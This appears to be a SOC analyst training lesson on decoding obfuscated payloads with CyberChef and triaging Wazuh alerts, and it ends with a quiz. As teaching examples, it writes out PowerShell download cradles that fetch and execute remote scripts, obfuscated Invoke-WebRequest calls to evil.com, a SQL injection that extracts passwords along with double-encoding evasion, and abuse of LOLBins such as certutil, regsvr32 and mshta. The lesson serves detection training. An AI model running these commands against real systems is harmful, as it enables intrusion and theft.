What You'll Learn
- Recognize common encoding schemes attackers use to evade detection — Base64, URL encoding, hex, and PowerShell obfuscation
- Decode Base64-encoded PowerShell commands extracted from Wazuh alerts and raw logs
- Identify URL-encoded attack payloads in web server logs and Wazuh SQL injection alerts
- Understand PowerShell obfuscation techniques including string concatenation, tick marks, and compressed pipelines
- Use CyberChef to build multi-step decoding recipes for layered obfuscated payloads
- Spot red-flag indicators in decoded content that confirm malicious intent
Why Attackers Encode
Every signature-based detection tool — Wazuh rules, Suricata signatures, antivirus — matches patterns in plaintext. If an attacker writes Invoke-Expression in a PowerShell script, a rule looking for that string fires immediately. Encoding is how attackers break that pattern match.
The logic is simple: take a malicious command, transform it into a representation the detection tool does not recognize, and let the target system decode it at runtime. The payload reaches the endpoint intact. The signature never matched because the encoded form looks nothing like the original.
Attackers encode for four specific reasons:
Evade signature detection. A Wazuh rule looking for DownloadString in process arguments will not fire if the attacker Base64-encodes the entire command and passes it with powershell -enc. The string DownloadString never appears in the process command line — only a block of Base64 characters does.
Bypass content filters. Web application firewalls inspect HTTP request bodies for SQL injection patterns like UNION SELECT. URL-encoding those characters (%55%4E%49%4F%4E%20%53%45%4C%45%43%54) can bypass filters that only inspect decoded content at one layer.
Hide C2 communication. Command-and-control URLs embedded in malware are frequently Base64-encoded or XOR-encrypted so static analysis of the binary does not reveal the C2 server address.
Obfuscate lateral movement commands. When an attacker runs commands on a remote host via WMI or PsExec, encoding the payload prevents the command from appearing in plaintext in process creation logs — unless the analyst knows to decode it.
Encoding is not encryption. Base64, URL encoding, and hex are fully reversible transformations that require no key. Any analyst with the right tool can decode them in seconds. Attackers rely on the fact that automated tools do not decode before matching — not that the encoding is unbreakable. Your job is to be the analyst who always decodes before making a verdict.
Base64: The Attacker's Favorite
Base64 is the most common encoding you will encounter in SOC work. It converts binary data into a 64-character alphabet (A-Z, a-z, 0-9, +, /) with = padding at the end. It was designed for safe data transport (email attachments, HTTP headers), but attackers exploit it constantly.
How to Spot Base64
Look for these characteristics in alert data, log fields, and command-line arguments:
- Character set: Only
A-Za-z0-9+/=— no spaces, no special characters, no punctuation outside this set - Padding: One or two
=signs at the end (though some implementations omit padding) - Length: Always divisible by 4 (after padding)
- Context: Appears where you would expect readable text — process arguments, HTTP headers, script variables
A PowerShell command line containing powershell -enc SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0 is immediately suspicious. That Base64 string decodes to a readable command. The -enc (short for -EncodedCommand) flag tells PowerShell to Base64-decode the argument and execute it.
Real Example: PowerShell Download Cradle
This is one of the most common attack patterns you will see in Wazuh alerts:
powershell.exe -nop -w hidden -enc aQBlAHgAIAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABuAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADEALgA1ADAALwBzAHQAYQBnAGUAcgAuAHAAcwAxACcAKQA=
The flags tell the story before you even decode:
-nop— No Profile (skip the user's PowerShell profile to avoid logging)-w hidden— Window Hidden (no visible console window)-enc— EncodedCommand (Base64-encoded payload follows)
Decoding the Base64 string reveals:
iex (new-object net.webclient).downloadstring('http://192.168.1.50/stager.ps1')
This is a classic download cradle: Invoke-Expression (abbreviated iex) downloads and immediately executes a remote PowerShell script. The flags ensure it runs silently, the encoding ensures the URL and command do not appear in plaintext process logs.
Why UTF-16LE? PowerShell's -EncodedCommand parameter expects Base64-encoded UTF-16LE text, not ASCII. This is why the Base64 string looks longer than you might expect — each character is 2 bytes instead of 1. When decoding PowerShell -enc payloads in CyberChef, you need two steps: From Base64 → Decode text (UTF-16LE). Forgetting the UTF-16LE step produces garbled output with null bytes between every character.
URL Encoding: What Hides in Web Logs
URL encoding (percent-encoding) replaces unsafe characters with % followed by their hex value. A space becomes %20, a less-than sign becomes %3C, a single quote becomes %27. It is standard HTTP behavior — browsers encode special characters in URLs automatically.
Attackers exploit this in two ways. First, they URL-encode SQL injection and XSS payloads so that basic string-matching filters miss them. Second, they double-encode — encoding the % character itself (%25) — to bypass filters that decode only one layer.
URL Encoding in Wazuh Alerts
Wazuh rule 31103 detects SQL injection attempts in web server logs. When this rule fires, the alert's full_log field often contains URL-encoded data straight from the Apache or Nginx access log:
GET /search?q=1%27%20UNION%20SELECT%20username%2Cpassword%20FROM%20users-- HTTP/1.1
Decoded:
GET /search?q=1' UNION SELECT username,password FROM users-- HTTP/1.1
The attacker injected a SQL UNION SELECT query to extract usernames and passwords. The URL encoding made the raw log harder to read at a glance, but the attack is immediately obvious once decoded.
The Double-Encoding Trick
Some WAFs decode URL encoding once before inspecting the payload. Attackers counter this by double-encoding:
| Original | Single-encoded | Double-encoded |
|---|---|---|
' | %27 | %2527 |
< | %3C | %253C |
UNION | %55%4E%49%4F%4E | %2555%254E%2549%254F%254E |
The WAF decodes the first layer, sees %27 (still encoded), and passes it through. The web application decodes the second layer, receives ', and the injection executes. When you see %25 in a log, decode twice.
Hex Encoding: Shellcode and Network Payloads
Hex encoding represents each byte as two hexadecimal characters. You will encounter it in shellcode, network packet payloads, and malware strings. The most common formats:
- \x prefix:
\x48\x65\x6C\x6C\x6F(decodes toHello) - 0x prefix:
0x48656C6C6F - Raw hex:
48656C6C6F
In Suricata alerts, hex content appears in rule definitions and payload inspection. In Wazuh alerts, hex-encoded strings occasionally appear in process arguments or script content when attackers use hex to represent C2 URLs or file paths.
A PowerShell command using hex to hide a URL:
$u = [System.Text.Encoding]::ASCII.GetString(@(0x68,0x74,0x74,0x70,0x3a,0x2f,0x2f,0x31,0x30,0x2e,0x30,0x2e,0x30,0x2e,0x35,0x30,0x2f,0x63,0x32))
Decodes to: http://10.0.0.50/c2
The hex array bypasses string-based detection that scans for http:// patterns in script content.
PowerShell Obfuscation Techniques
PowerShell is the most abused living-off-the-land tool on Windows. Attackers use it because it is installed by default, has full .NET Framework access, and supports dozens of obfuscation techniques. Understanding these techniques is essential for triaging alerts on Windows endpoints.
String Concatenation
Break a suspicious keyword into fragments that are joined at runtime:
$a = 'Inv' + 'oke' + '-Web' + 'Req' + 'uest'
& $a -Uri 'http://evil.com/payload'
No rule looking for the complete string Invoke-WebRequest will match this.
Tick Mark Insertion
PowerShell's backtick (`) is an escape character that is ignored in most positions:
I`nv`oke-`Web`Req`uest -Uri 'http://evil.com/payload'
This executes identically to the original command. The backticks break signature matching while having zero effect on execution.
Environment Variable Substitution
Pull characters from system environment variables to construct commands:
$env:comspec[4,15,25]-join''
This extracts characters from the COMSPEC environment variable (C:\Windows\system32\cmd.exe) at specific positions to spell out a command.
Compressed + Base64 Pipeline
The most dangerous pattern — a multi-layer obfuscation pipeline:
powershell -enc JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcASAA0AHMASQBBAEEALgAuAC4AJwApACkA
Decoding the outer Base64 reveals:
$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String('H4sIAA...'))
The inner payload is a GZip-compressed, Base64-encoded script. Decoding requires: outer Base64 → UTF-16LE decode → extract inner Base64 → Base64 decode → GZip decompress → final payload. CyberChef handles this in a single recipe chain.
The compressed pipeline is an immediate escalation trigger. Any process creation alert showing IO.MemoryStream, [Convert]::FromBase64String, or IO.Compression.GZipStream in the command line indicates a multi-layer obfuscated payload. Do not waste time trying to classify TP/FP — decode the payload, document what you find, and escalate. These are almost never benign.
CyberChef: Your Decoding Workbench
CyberChef is a free browser-based tool built by GCHQ (the UK's signals intelligence agency) for data transformation. It is available at gchq.github.io/CyberChef and runs entirely in your browser — no installation, no data sent to any server.
The interface has four areas:
- Operations (left panel) — Searchable list of all available transformations
- Recipe (center) — Drag operations here to build your decoding pipeline
- Input (top right) — Paste the encoded data here
- Output (bottom right) — See the decoded result in real time
Building a Multi-Step Decoding Recipe
Here is a real-world scenario. A Wazuh alert fires on a Windows endpoint. The process creation log shows:
powershell.exe -nop -w hidden -enc aQBlAHgAIAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABuAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADEALgA1ADAALwBzAHQAYQBnAGUAcgAuAHAAcwAxACcAKQA=
Step 1 — Extract the Base64 string. Copy everything after -enc: the Base64 block starting with aQBlAH....
Step 2 — Add "From Base64" operation. Drag it into the Recipe. The output will show text with null bytes (\x00) between every character — this is because PowerShell uses UTF-16LE encoding.
Step 3 — Add "Decode text" operation. Set the encoding to UTF-16LE (1200). The output now shows readable text:
iex (new-object net.webclient).downloadstring('http://192.168.1.50/stager.ps1')
Step 4 — Analyze the decoded payload. The command downloads and executes a remote script. Extract the IOC: 192.168.1.50 and the file stager.ps1.
Your CyberChef recipe for PowerShell -enc payloads is always: From Base64 → Decode text (UTF-16LE). Save this recipe — you will use it constantly.
CyberChef recipes are shareable. Click "Save recipe" to export a JSON string that encodes your entire operation chain. You can share this with your team so every analyst decodes payloads the same way. In Lab 4.3 — Decode the Payload, you will build and export a multi-step recipe for a layered payload and submit a screenshot of the completed decode as your deliverable.
Handling Layered Encodings
Attackers frequently stack multiple encoding layers. A real payload might be:
- Original command (plaintext)
- Compressed with GZip
- Base64-encoded (inner layer)
- Wrapped in a PowerShell decompression pipeline
- That pipeline is Base64-encoded again (outer layer)
- Passed to
powershell -enc
To decode, you reverse the process from outside in: outer Base64 → UTF-16LE → extract inner Base64 → inner Base64 decode → Gunzip → plaintext.
CyberChef handles each step as a separate operation in your recipe. Drag them in order, and the output updates in real time as each layer peels away.
Red Flags in Decoded Content
Once you decode a payload, certain patterns immediately confirm malicious intent. Memorize these — they are the keywords that turn "suspicious" into "confirmed malicious":
| Pattern | What It Does | Why It's Bad |
|---|---|---|
DownloadString / DownloadFile | Fetches remote content via HTTP | Stages second-stage payload from C2 |
IEX / Invoke-Expression | Executes a string as PowerShell code | Runs downloaded payload without saving to disk |
New-Object Net.WebClient | Creates HTTP client object | Used in download cradles |
-nop -w hidden | No Profile + Hidden Window | Stealth execution — no console, no profile logging |
certutil -decode | Windows built-in Base64 decoder | LOLBin — abused to decode dropped payloads |
bitsadmin /transfer | Windows built-in file transfer | LOLBin — downloads files bypassing browser controls |
regsvr32 /s /n /u /i:http:// | Loads remote scriptlet | LOLBin — executes code via COM object, bypasses AppLocker |
mshta vbscript:Execute | Runs VBScript via HTML Application host | LOLBin — executes script without .vbs file on disk |
IO.MemoryStream | In-memory buffer | Used in compressed payload decompression pipelines |
[Convert]::FromBase64String | .NET Base64 decoder | Inner-layer Base64 decoding in multi-stage payloads |
LOLBin stands for "Living Off the Land Binary" — legitimate Windows system tools that attackers repurpose for malicious tasks. certutil, bitsadmin, regsvr32, and mshta are all signed Microsoft binaries that exist on every Windows installation. They bypass application whitelisting because they are trusted system tools. When you see these in decoded payloads, the attacker is deliberately using trusted tools to avoid detection.
Encoded Data in Wazuh Alerts
Wazuh captures process creation events on Windows via Sysmon (Event ID 1) and native audit (Event ID 4688). When a user or attacker runs an encoded PowerShell command, the full command line appears in the alert's data.win.eventdata.commandLine field.
A typical alert JSON structure:
{
"rule": {
"id": "100002",
"level": 12,
"description": "Suspicious PowerShell with encoded command detected"
},
"data": {
"win": {
"eventdata": {
"commandLine": "powershell.exe -nop -w hidden -enc aQBlAHgAIAAoA...",
"parentCommandLine": "cmd.exe /c start /b powershell.exe -nop...",
"user": "CYBERBLUE\\svc_backup",
"image": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"
}
}
}
}
Your decoding workflow for this alert:
- Copy the Base64 string from the
commandLinefield (everything after-enc) - Open CyberChef, paste the string into the Input box
- Recipe: From Base64 → Decode text (UTF-16LE)
- Read the decoded output — look for the red-flag patterns from the table above
- Extract IOCs (IP addresses, URLs, domain names, file paths)
- Document the decoded payload in your investigation notes
- Include the CyberChef recipe link or screenshot in your escalation report
Always check the parentCommandLine field too. If the parent process is cmd.exe spawning powershell.exe with encoding flags, that is a stronger indicator than PowerShell alone. Legitimate administrative scripts rarely launch from cmd.exe with hidden windows. The parent-child process relationship adds critical context to your triage decision.
Putting It Together: A Complete Decode Scenario
You receive a Wazuh alert at 03:47 AM. The rule is "Suspicious PowerShell with encoded command detected" on host WIN-SERVER-01. The user is CYBERBLUE\svc_backup. Here is your workflow:
1. Initial assessment. Encoded PowerShell at 3:47 AM from a service account? Suspicious. Service accounts should not be running ad-hoc encoded PowerShell commands in the middle of the night.
2. Extract and decode. Copy the Base64 from commandLine, paste into CyberChef, apply From Base64 → Decode text (UTF-16LE):
$wc = New-Object System.Net.WebClient;
$wc.Headers.Add('User-Agent','Mozilla/5.0');
$data = $wc.DownloadString('http://203.0.113.42:8080/update.ps1');
IEX $data
3. Analyze. Four red flags: New-Object System.Net.WebClient (HTTP client), custom User-Agent (masquerading as browser), DownloadString to an external IP on non-standard port 8080, and IEX to execute the downloaded content. This is a textbook download cradle.
4. Extract IOCs. C2 server: 203.0.113.42:8080. Staged payload: update.ps1. User-Agent string: Mozilla/5.0.
5. Verdict and escalation. True Positive — confirmed malicious. Escalate with: decoded payload, IOCs, the user context (svc_backup at 3:47 AM), and a recommendation to isolate WIN-SERVER-01 immediately.
This entire workflow — from alert to escalation-ready analysis — takes under 5 minutes once you are comfortable with CyberChef. That speed comes from practice, which is exactly what Lab 4.3 provides.
Key Takeaways
- Encoding is not encryption — Base64, URL encoding, and hex are fully reversible without a key. Attackers rely on automated tools not decoding before pattern-matching.
- Base64-encoded PowerShell is the most common encoding in SOC alerts. Look for the
-encflag, theA-Za-z0-9+/=character set, and lengths divisible by 4. - PowerShell
-encpayloads use UTF-16LE encoding. CyberChef recipe: From Base64 → Decode text (UTF-16LE). Forgetting UTF-16LE produces garbled output. - URL encoding hides SQL injection and XSS payloads in web logs. Double-encoding (
%25XX) bypasses single-layer WAF decoding. - PowerShell obfuscation techniques include string concatenation, tick mark insertion, environment variable substitution, and compressed Base64 pipelines.
- Red-flag decoded patterns:
DownloadString,IEX,New-Object Net.WebClient,certutil -decode,bitsadmin,IO.MemoryStream,-nop -w hidden - Always check both
commandLineandparentCommandLinein Wazuh alerts — the parent-child process relationship adds critical triage context
What's Next
You now have the tools to decode what attackers try to hide. Base64, URL encoding, hex, PowerShell obfuscation — none of these survive a 30-second CyberChef recipe. The key is building the muscle memory to recognize encoded data on sight and decode it reflexively as part of every triage workflow.
In Lab 4.3 — Decode the Payload, you will put this into practice with a hands-on exercise. You will receive a multi-layer encoded PowerShell command, open CyberChef in your browser, build a decoding recipe step by step, and analyze the decoded payload to determine what it does, which IOCs it contains, and whether it is malicious. This is a browser-only lab — no cloud environment needed, just CyberChef and the encoded string.
Then in Lesson 4.5 — Escalation: When and How, you will learn what to do with the decoded payload you just found. When does a finding warrant escalation? What information does the L2 analyst need? How do you write an escalation note that gets the response it deserves?
The payload is waiting. Decode it.
Knowledge Check: Decoding & Deobfuscation
10 questions · 70% to pass
A Wazuh alert shows a PowerShell process with the flag `-enc` followed by a long alphanumeric string ending in `=`. What is the FIRST decoding step you should perform in CyberChef?
After applying 'From Base64' to a PowerShell `-enc` payload in CyberChef, the output shows readable characters with null bytes (\x00) between each letter. What operation fixes this?
You decode a Base64 PowerShell payload and find: `iex (new-object net.webclient).downloadstring('http://10.0.0.50/stager.ps1')`. Which red-flag patterns confirm this is malicious? (Select the best answer.)
In Lab 4.3, you decode a multi-layer encoded payload using CyberChef. What is the correct order of operations to decode a PowerShell command that has been GZip-compressed, then Base64-encoded, then wrapped in a decompression pipeline, then Base64-encoded again with `-enc`?
A web server log in a Wazuh rule 31103 alert shows: `GET /search?q=1%2527%20UNION%20SELECT%20password%20FROM%20users`. The `%25` sequence suggests what attack technique?
Why is encoding NOT the same as encryption, and why does this distinction matter for SOC analysts?
Which PowerShell obfuscation technique breaks the string `Invoke-WebRequest` into fragments that are joined at runtime to evade signature matching?
A decoded PowerShell payload contains `certutil -decode C:\Users\Public\update.b64 C:\Users\Public\update.exe`. Why is `certutil` flagged as a red-flag indicator?
In Lab 4.3, you use CyberChef to decode a Base64 string from a simulated Wazuh alert. The decoded output contains `DownloadString` pointing to an external IP and `IEX` to execute the result. Based on the decoded content alone, what is your triage verdict?
When triaging a Wazuh alert for encoded PowerShell, why should you examine the `parentCommandLine` field in addition to the `commandLine` field?
0/10 answered